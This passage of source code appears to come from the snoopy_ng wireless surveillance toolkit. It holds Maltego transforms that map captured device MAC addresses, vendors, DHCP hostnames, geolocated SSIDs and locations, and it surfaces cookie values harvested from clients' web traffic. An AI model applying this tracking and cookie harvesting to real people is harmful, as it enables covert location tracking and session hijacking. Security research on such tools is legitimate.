mac,vendor,vendorLong in results: 54 | hostname = lease_list.get(mac) 55 | 56 | if hostname: 57 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,hostname)) 58 | else: 59 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,mac[6:])) 60 | NewEnt.addAdditionalFields("mac","mac address", "strict",mac) 61 | NewEnt.addAdditionalFields("vendor","vendor", "nostrict", vendor) 62 | #NewEnt.addAdditionalFields("vendorLong","vendorLong", "nostrict", vendorLong) 63 | # ^ Going via a TDS crashes for resutls >1000. Weird? 64 | 65 | TRX.returnOutput() 66 | 67 | main() 68 | -------------------------------------------------------------------------------- /transforms/fetchClientsWithData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | def main(): 17 | # print "Content-type: xml\n\n"; 18 | # MaltegoXML_in = sys.stdin.read() 19 | # logging.debug(MaltegoXML_in) 20 | # if MaltegoXML_in <> '': 21 | # m = MaltegoMsg(MaltegoXML_in) 22 | 23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 24 | #db.echo=True 25 | 26 | #Need to implement outer join at some point: 27 | # s=select([cookies.c.client_mac]).outerjoin(vends, cookies.c.client_mac == vends.c.mac) #Outer join 28 | 29 | sl = select([leases.c.mac, leases.c.hostname]).distinct() 30 | lease_list = dict ( db.execute(sl).fetchall() ) 31 | 32 | #filters.append(cookies.c.client_mac == vends.c.mac) # Replaced with JOIN 33 | j = cookies.outerjoin(vends, cookies.c.client_mac == vends.c.mac) 34 | s = select([cookies.c.client_mac,vends.c.vendor, vends.c.vendorLong], and_(*filters)).select_from(j).distinct() 35 | logging.debug(s) 36 | #s = select([cookies.c.client_mac,vends.c.vendor, vends.c.vendorLong], and_(*filters)) 37 | if ssid: 38 | nfilters=[] 39 | nfilters.append(ssids.c.ssid == ssid) 40 | nfilters.append(ssids.c.mac == vends.c.mac) 41 | s = select([ssids.c.mac,vends.c.vendor, vends.c.vendorLong], and_(*nfilters)) 42 | 43 | #logging.debug(s) 44 | #s = select([cookies.c.client_mac,vends.c.vendor, vends.c.vendorLong], and_(cookies.c.client_mac == vends.c.mac, cookies.c.num_probes>1 ) ).distinct() 45 | 46 | cwdF = [cookies.c.run_id == sess.c.run_id] 47 | cw = select([cookies.c.client_mac], and_(*cwdF)) 48 | logging.debug(cw) 49 | 50 | r = db.execute(s) 51 | results = r.fetchall() 52 | TRX = MaltegoTransform() 53 | for mac,vendor,vendorLong in results: 54 | hostname = lease_list.get(mac) 55 | 56 | if hostname: 57 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,hostname)) 58 | else: 59 | NewEnt=TRX.addEntity("snoopy.Client", "%s\n(%s)" %(vendor,mac[6:])) 60 | NewEnt.addAdditionalFields("mac","mac address", "strict",mac) 61 | NewEnt.addAdditionalFields("vendor","vendor", "nostrict", vendor) 62 | NewEnt.addAdditionalFields("vendorLong","vendorLong", "nostrict", vendorLong) 63 | 64 | 65 | TRX.returnOutput() 66 | 67 | main() 68 | -------------------------------------------------------------------------------- /transforms/fetchCookies.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters = [] 28 | #filters.extend((cookies.c.client_mac==mac, cookies.c.baseDomain==domain)) #Bug: baseDomain being returned as full URL. 29 | filters.extend((cookies.c.client_mac==mac, cookies.c.host==domain)) 30 | s = select([cookies.c.name, cookies.c.value], and_(*filters)) 31 | logging.debug(s) 32 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 33 | r = db.execute(s) 34 | results = r.fetchall() 35 | logging.debug(results) 36 | #results = [t[0] for t in results] 37 | TRX = MaltegoTransform() 38 | 39 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 40 | 41 | 42 | for cookie in results: 43 | logging.debug(cookie) 44 | name, value = cookie 45 | NewEnt=TRX.addEntity("snoopy.Cookie", name) 46 | NewEnt.addAdditionalFields("value","Value", "strict",value) 47 | NewEnt.addAdditionalFields("fqdn","Domain", "strict",domain) 48 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",mac) 49 | 50 | TRX.returnOutput() 51 | 52 | main() 53 | #me = MaltegoTransform() 54 | #me.addEntity("maltego.Phrase","hello bob") 55 | #me.returnOutput() 56 | -------------------------------------------------------------------------------- /transforms/fetchCountries.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_, func 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | 21 | ## filters.append(wigle.c.ssid == ssid) 22 | ## filters.append(wigle.c.overflow == 0) 23 | ## s = select([wigle], and_(*filters)).distinct().limit(limit) 24 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 25 | ## r = db.execute(s) 26 | ## results = r.fetchall() 27 | ## logging.debug(results) 28 | ## TRX = MaltegoTransform() 29 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 30 | 31 | 32 | #location = "ITWeb_2013" 33 | filters = [] 34 | filters.append(sess.c.location == location) 35 | filters.append(sess.c.run_id == ssids.c.run_id) 36 | filters.append(ssids.c.ssid == wigle.c.ssid) 37 | sub_q = select([wigle.c.country, func.count(wigle.c.country)], and_(*filters)).group_by(wigle.c.ssid).having(func.count()==1) 38 | s = select([sub_q.c.country,func.count(sub_q.c.country)], and_(sub_q.c.country != "")).group_by(sub_q.c.country) 39 | 40 | r = db.execute(s) 41 | results = r.fetchall() 42 | 43 | for res in results: 44 | country, count = res 45 | if count > 2: 46 | country = illegal_xml_re.sub('', country) 47 | NewEnt=TRX.addEntity("maltego.Location", country) 48 | NewEnt.addAdditionalFields("count", "count", "strict", str(count)) 49 | NewEnt.setWeight(count) 50 | 51 | TRX.returnOutput() 52 | 53 | main() 54 | -------------------------------------------------------------------------------- /transforms/fetchDefiniteAddresses.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | limit = 100 # Limit the number of SSID addresses returned. 20 | 21 | def main(): 22 | filters.append(wigle.c.ssid == ssid) 23 | filters.append(wigle.c.overflow == 0) 24 | s = select([wigle], and_(*filters)).distinct().limit(limit) 25 | 26 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 27 | r = db.execute(s) 28 | results = r.fetchall() 29 | logging.debug(results) 30 | 31 | TRX = MaltegoTransform() 32 | 33 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 34 | 35 | 36 | for address in results: 37 | if len(results) > 20: 38 | break 39 | #ssid = b64decode(ssid) 40 | #ssid=escape(ssid) 41 | #ssid = illegal_xml_re.sub('', ssid) 42 | logging.debug(type(address)) 43 | 44 | street_view_url1 = "http://maps.googleapis.com/maps/api/streetview?size=800x800&sensor=false&location=%s,%s" % (str(address['lat']),str(address['long'])) 45 | street_view_url2 = "https://maps.google.com/maps?q=&layer=c&cbp=11,0,0,0,0&cbll=%s,%s " % (str(address['lat']),str(address['long'])) 46 | map_url = "http://maps.google.com/maps?t=h&q=%s,%s"%(str(address['lat']),str(address['long'])) 47 | flag_img = "http://www.geognos.com/api/en/countries/flag/%s.png" % str(address['code']).upper() 48 | 49 | #NewEnt=TRX.addEntity("maltego.Location", address['shortaddress'].encode('utf-8')) 50 | NewEnt=TRX.addEntity("snoopy.ssidLocation", address['shortaddress'].encode('utf-8')) 51 | NewEnt.addAdditionalFields("city","city", "strict", address['city'].encode('utf-8')) 52 | NewEnt.addAdditionalFields("countrycode","countrycode", "strict", address['code'].encode('utf-8')) 53 | NewEnt.addAdditionalFields("country","country", "strict", address['country'].encode('utf-8')) 54 | NewEnt.addAdditionalFields("lat","lat", "strict", str(address['lat'])) 55 | NewEnt.addAdditionalFields("long","long", "strict", str(address['long'])) 56 | NewEnt.addAdditionalFields("longaddress","longaddress", "strict", address['longaddress'].encode('utf-8')) 57 | NewEnt.addAdditionalFields("location.areacode","Area Code", "strict", address['postcode']) 58 | NewEnt.addAdditionalFields("road","Road", "strict", address['road'].encode('utf-8')) 59 | NewEnt.addAdditionalFields("streetaddress","streetaddress", "strict", address['shortaddress'].encode('utf-8')) 60 | NewEnt.addAdditionalFields("ssid","SSID", "strict", address['ssid']) 61 | NewEnt.addAdditionalFields("state","State", "strict", address['state'].encode('utf-8')) 62 | NewEnt.addAdditionalFields("area","Area", "strict", address['suburb'].encode('utf-8')) 63 | 64 | NewEnt.addAdditionalFields("googleMap", "Google map", "nostrict", map_url) 65 | NewEnt.addAdditionalFields("streetView", "Street View", "nostrict", street_view_url2) 66 | 67 | #NewEnt.setIconURL(flag_img) 68 | logging.debug(street_view_url1) 69 | NewEnt.setIconURL(street_view_url1) 70 | 71 | 72 | NewEnt.addDisplayInformation("Click for map " % street_view_url2, "Street view") 73 | NewEnt.addDisplayInformation("one","two") 74 | 75 | #try: 76 | TRX.returnOutput() 77 | #except Exception,e: 78 | # print "RARRRR" 79 | # print e 80 | # print address 81 | # exit 82 | main() 83 | #me = MaltegoTransform() 84 | #me.addEntity("maltego.Phrase","hello bob") 85 | #me.returnOutput() 86 | -------------------------------------------------------------------------------- /transforms/fetchDomains.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters = [] 28 | filters.append(cookies.c.client_mac==mac) 29 | #s = select([cookies.c.baseDomain], and_(*filters)) #Bug: baseDomain being returned as full URL. 30 | s = select([cookies.c.host], and_(*filters)) 31 | logging.debug(s) 32 | logging.debug(mac) 33 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 34 | r = db.execute(s) 35 | results = r.fetchall() 36 | results = [t[0] for t in results] 37 | TRX = MaltegoTransform() 38 | 39 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 40 | 41 | 42 | for domain in results: 43 | domain = illegal_xml_re.sub('', domain) 44 | NewEnt=TRX.addEntity("maltego.Domain", domain) 45 | NewEnt.addAdditionalFields("fqdn","Domain", "strict",domain) 46 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",mac) 47 | 48 | TRX.returnOutput() 49 | 50 | main() 51 | #me = MaltegoTransform() 52 | #me.addEntity("maltego.Phrase","hello bob") 53 | #me.returnOutput() 54 | -------------------------------------------------------------------------------- /transforms/fetchDrones.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | def main(): 17 | # print "Content-type: xml\n\n"; 18 | # MaltegoXML_in = sys.stdin.read() 19 | # logging.debug(MaltegoXML_in) 20 | # if MaltegoXML_in <> '': 21 | # m = MaltegoMsg(MaltegoXML_in) 22 | 23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 24 | # s = select([proxs.c.drone], and_(*filters)).distinct() 25 | s = select([sess.c.drone], and_(*filters)).distinct() 26 | logging.debug(filters) 27 | logging.debug(s) 28 | r = db.execute(s) 29 | results = r.fetchall() 30 | results = [t[0] for t in results] 31 | TRX = MaltegoTransform() 32 | 33 | for drone in results: 34 | logging.debug(drone) 35 | NewEnt=TRX.addEntity("snoopy.Drone", drone) 36 | NewEnt.addAdditionalFields("properties.drone","drone", "strict",drone) 37 | NewEnt.addAdditionalFields("start_time", "start_time", "strict", start_time) 38 | NewEnt.addAdditionalFields("end_time", "end_time", "strict", end_time) 39 | #NewEnt.addAdditionalFields("drone", "drone", "strict", drone) 40 | #NewEnt.addAdditionalFields("location", "location", "strict", location) 41 | TRX.returnOutput() 42 | 43 | main() 44 | -------------------------------------------------------------------------------- /transforms/fetchIP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # dominic@sensepost.com 4 | # snoopy_ng // 2014 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters = [] 28 | mac2 = "" 29 | for x in xrange(0,11,2): 30 | mac2 += mac[x]+mac[x+1] 31 | if x < 10: 32 | mac2 += ":" 33 | filters.append(leases.c.mac==mac2) 34 | s = select([leases.c.ip], and_(*filters)) 35 | logging.debug(s) 36 | logging.debug(mac2) 37 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 38 | r = db.execute(s) 39 | results = r.fetchall() 40 | results = [t[0] for t in results] 41 | TRX = MaltegoTransform() 42 | 43 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 44 | 45 | 46 | for ip in results: 47 | NewEnt=TRX.addEntity("maltego.IPv4Address", ip) 48 | NewEnt.addAdditionalFields("mac","Client Mac", "strict",mac) 49 | NewEnt.addAdditionalFields("ip","Client IP", "strict",ip) 50 | 51 | TRX.returnOutput() 52 | 53 | main() 54 | #me = MaltegoTransform() 55 | #me.addEntity("maltego.Phrase","hello bob") 56 | #me.returnOutput() 57 | -------------------------------------------------------------------------------- /transforms/fetchLocations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | def main(): 17 | # print "Content-type: xml\n\n"; 18 | # MaltegoXML_in = sys.stdin.read() 19 | # logging.debug(MaltegoXML_in) 20 | # if MaltegoXML_in <> '': 21 | # m = MaltegoMsg(MaltegoXML_in) 22 | 23 | 24 | # Get GPS positions during this session 25 | ft = [ (gps.c.run_id == sess.c.run_id), (gps.c.systemTime >= sess.c.start), (gps.c.systemTime <= sess.c.end ) ] 26 | sg = select([gps.c.lat, gps.c.lon], and_(*ft)) 27 | gps_c = db.execute(sg).fetchall() 28 | 29 | if gps_c: 30 | firstGPS,lastGPS = (gps_c[0][0], gps_c[0][1]), (gps_c[-1][0], gps_c[-1][1]) 31 | latVariance = abs(sorted(gps_c)[0][0]-sorted(gps_c)[-1][0]) 32 | lonVariance = abs(sorted(gps_c)[0][1]-sorted(gps_c)[-1][1]) 33 | 34 | s = select([sess.c.location], and_(*filters)).distinct() 35 | r = db.execute(s) 36 | results = r.fetchall() 37 | 38 | for location in results: 39 | location = location[0] 40 | logging.debug(location) 41 | NewEnt=TRX.addEntity("snoopy.DroneLocation", location) 42 | #NewEnt.addAdditionalFields("location","location", "strict", location) 43 | NewEnt.addAdditionalFields("drone","drone", "strict", drone) 44 | NewEnt.addAdditionalFields("start_time", "start_time", "strict", start_time) 45 | NewEnt.addAdditionalFields("end_time", "end_time", "strict", end_time) 46 | if gps_c: 47 | NewEnt.addAdditionalFields("start_gps", "start_gps", "strict", str(firstGPS)) 48 | NewEnt.addAdditionalFields("end_gps", "end_gps", "strict", str(lastGPS)) 49 | NewEnt.addAdditionalFields("var_gps", "var_gps", "strict", str(latVariance+lonVariance)) 50 | 51 | TRX.returnOutput() 52 | 53 | main() 54 | -------------------------------------------------------------------------------- /transforms/fetchLogs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # dominic@sensepost.com 4 | # snoopy_ng // 2014 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | # print "Content-type: xml\n\n"; 21 | # MaltegoXML_in = sys.stdin.read() 22 | # logging.debug(MaltegoXML_in) 23 | # if MaltegoXML_in <> '': 24 | # m = MaltegoMsg(MaltegoXML_in) 25 | 26 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 27 | filters = [] 28 | filters.append(weblogs.c.client_ip==ip) 29 | s = select([weblogs.c.host, weblogs.c.path, weblogs.c.cookies], and_(*filters)) 30 | logging.debug(s) 31 | #s = select([ssids.c.ssid]).where(ssids.c.mac==mac).distinct() 32 | r = db.execute(s) 33 | results = r.fetchall() 34 | logging.debug(results) 35 | #results = [t[0] for t in results] 36 | TRX = MaltegoTransform() 37 | 38 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 39 | 40 | 41 | for res in results: 42 | #logging.debug(res) 43 | host, path, cookies = res 44 | logging.debug(host) 45 | #logging.debug(path) 46 | logging.debug(cookies) 47 | if len(cookies) > 2: 48 | foo = cookies.split(", ") 49 | for cookie in foo: 50 | name, value = cookie.split(": ") 51 | name = name.split('"')[1] 52 | value = value.split('"')[1] 53 | logging.debug(name) 54 | logging.debug(value) 55 | NewEnt=TRX.addEntity("snoopy.Cookie", name) 56 | NewEnt.addAdditionalFields("value","Value", "strict",value) 57 | NewEnt.addAdditionalFields("fqdn","Domain", "strict",host) 58 | #NewEnt.addAdditionalFields("path","Path", "strict",path) 59 | NewEnt.addAdditionalFields("ip","Client IP", "strict",ip) 60 | 61 | TRX.returnOutput() 62 | 63 | main() 64 | #me = MaltegoTransform() 65 | #me.addEntity("maltego.Phrase","hello bob") 66 | #me.returnOutput() 67 | -------------------------------------------------------------------------------- /transforms/fetchManufacturers.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_, func 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 18 | 19 | def main(): 20 | 21 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 22 | 23 | filters = [] 24 | filters.append(sess.c.location == location) 25 | filters.append(sess.c.run_id == vends.c.run_id) 26 | #filters.append(ssids.c.ssid == wigle.c.ssid) 27 | s = select([vends.c.vendor,vends.c.vendorLong, func.count(vends.c.vendor)], and_(*filters)).group_by(vends.c.vendor) 28 | 29 | r = db.execute(s) 30 | results = r.fetchall() 31 | 32 | for res in results: 33 | vendor, vendorLong, count = res 34 | if count > 2: 35 | vendor = illegal_xml_re.sub('', vendor) 36 | NewEnt=TRX.addEntity("snoopy.Client", vendor) 37 | NewEnt.addAdditionalFields("vendor", "vendor", "strict", vendor) 38 | NewEnt.addAdditionalFields("vendorLong", "vendorLong", "strict", vendorLong) 39 | NewEnt.addAdditionalFields("count", "count", "strict", str(count)) 40 | NewEnt.setWeight(count) 41 | 42 | TRX.returnOutput() 43 | 44 | main() 45 | -------------------------------------------------------------------------------- /transforms/fetchNearbySSIDs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | from base64 import b64decode 15 | from xml.sax.saxutils import escape 16 | import re 17 | from wigle_api import Wigle 18 | 19 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 20 | illegal_xml_re = re.compile(u'[\x00-\x08\x0b-\x1f\x7f-\x84\x86-\x9f\ud800-\udfff\ufdd0-\ufddf\ufffe-\uffff]') 21 | 22 | def main(): 23 | # print "Content-type: xml\n\n"; 24 | # MaltegoXML_in = sys.stdin.read() 25 | # logging.debug(MaltegoXML_in) 26 | # if MaltegoXML_in <> '': 27 | # m = MaltegoMsg(MaltegoXML_in) 28 | 29 | TRX = MaltegoTransform() 30 | TRX.parseArguments(sys.argv) 31 | lat = float(TRX.getVar("latitude")) 32 | lng = float(TRX.getVar("longitude")) 33 | address = TRX.getVar("longaddress") 34 | 35 | logging.debug(lat) 36 | logging.debug(address) 37 | 38 | try: 39 | f = open("wigle_creds.txt", "r") 40 | user, passw, email,proxy = f.readline().strip().split(":") 41 | except Exception, e: 42 | print "ERROR: Unable to read Wigle user & pass, email (and optional proxy) from wigle_creds.txt" 43 | print e 44 | exit(-1) 45 | wig=Wigle(user, passw, email, proxy) 46 | if not wig.login(): 47 | print "ERROR: Unable to login to Wigle with creds from wigle_creds.txt. Please check them." 48 | exit(-1) 49 | ssids = wig.fetchNearbySSIDs(lat=lat,lng=lng,address=address) 50 | if 'error' in ssids: 51 | print "ERROR: Unable to query Wigle. Perhaps your IP/user is shunned. Error was '%s'" % ssids 52 | exit(-1) 53 | 54 | for s,coords in ssids.iteritems(): 55 | ssid=escape(s) 56 | ssid = illegal_xml_re.sub('', ssid) 57 | lat,lng,dist = coords 58 | 59 | NewEnt=TRX.addEntity("snoopy.SSID", ssid) 60 | NewEnt.addAdditionalFields("ssid","ssid", "strict",ssid) 61 | NewEnt.addAdditionalFields("lat","latitude", "strict",str(lat)) 62 | NewEnt.addAdditionalFields("long","longitude", "strict",str(lng)) 63 | NewEnt.setWeight(int((1.0/dist)*500)) 64 | NewEnt.addAdditionalFields("dist","distance", "strict",str(dist)) 65 | 66 | TRX.returnOutput() 67 | 68 | main() 69 | -------------------------------------------------------------------------------- /transforms/fetchObservations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | # glenn@sensepost.com_ 4 | # snoopy_ng // 2013 5 | # By using this code you agree to abide by the supplied LICENSE.txt 6 | 7 | import sys 8 | import os 9 | from MaltegoTransform import * 10 | import logging 11 | from datetime import datetime 12 | from sqlalchemy import create_engine, MetaData, select, and_ 13 | from transformCommon import * 14 | logging.basicConfig(level=logging.DEBUG,filename='/tmp/maltego_logs.txt',format='%(asctime)s %(levelname)s: %(message)s',datefmt='%Y-%m-%d %H:%M:%S') 15 | 16 | def main(): 17 | # print "Content-type: xml\n\n"; 18 | # MaltegoXML_in = sys.stdin.read() 19 | # logging.debug(MaltegoXML_in) 20 | # if MaltegoXML_in <> '': 21 | # m = MaltegoMsg(MaltegoXML_in) 22 | 23 | #Custom query per transform, but apply filter with and_(*filters) from transformCommon. 24 | #s = select([proxs.c.location, proxs.c.drone, proxs.c.first_obs, proxs.c.last_obs], and_(*filters)) 25 | 26 | #ft = [ (gps.c.run_id == sess.c.run_id), (gps.c.systemTime >= sess.c.start), (gps.c.systemTime <= sess.c.end ) ] 27 | 28 | s = select([sess.c.location, sess.c.drone, proxs.c.first_obs, proxs.c.last_obs], and_(*filters)) 29 | r = db.execute(s) 30 | results = r.fetchall() 31 | 32 | for r in results: 33 | location = r[0] 34 | drone = r[1] 35 | start_time = r[2].strftime("%Y-%m-%d %H:%M:%S.%f") 36 | end_time = r[3].strftime("%Y-%m-%d %H:%M:%S.%f") 37 | 38 | # Get GPS positions during the observation period of this session 39 | ft = [ (gps.c.run_id == sess.c.run_id), (gps.c.systemTime >= start_time), (gps.c.systemTime <= end_time ) ] 40 | sg = select([gps.c.lat, gps.c.lon], and_(*ft)) 41 | gps_c = db.execute(sg).fetchall() 42 | 43 | if gps_c: 44 | firstGPS,lastGPS = (gps_c[0][0], gps_c[0][1]), (gps_c[-1][0], gps_c[-1][1]) 45 | latVariance = abs(sorted(gps_c)[0][0]-sorted(gps_c)[-1][0]) 46 | lonVariance = abs(sorted(gps_c)[0][1]-sorted(gps_c)[-1][1]) 47 | logging.debug(firstGPS) 48 | logging.debug(type(firstGPS)) 49 | 50 | 51 | td = (r[3] - r[2]).seconds 52 | if td == 0: 53 | td = 1 54 | hours, remainder = divmod(td, 3600) 55 | minutes, seconds = divmod(remainder, 60) 56 | duration = "" 57 | if hours > 0: 58 | duration += "%s hour" % hours 59 | if hours > 1: 60 | duration +='s' 61 | if minutes > 0: 62 | if duration != "": 63 | duration += ", " 64 | duration += "%s min" % minutes 65 | if minutes > 1: 66 | duration +='s' 67 | if seconds > 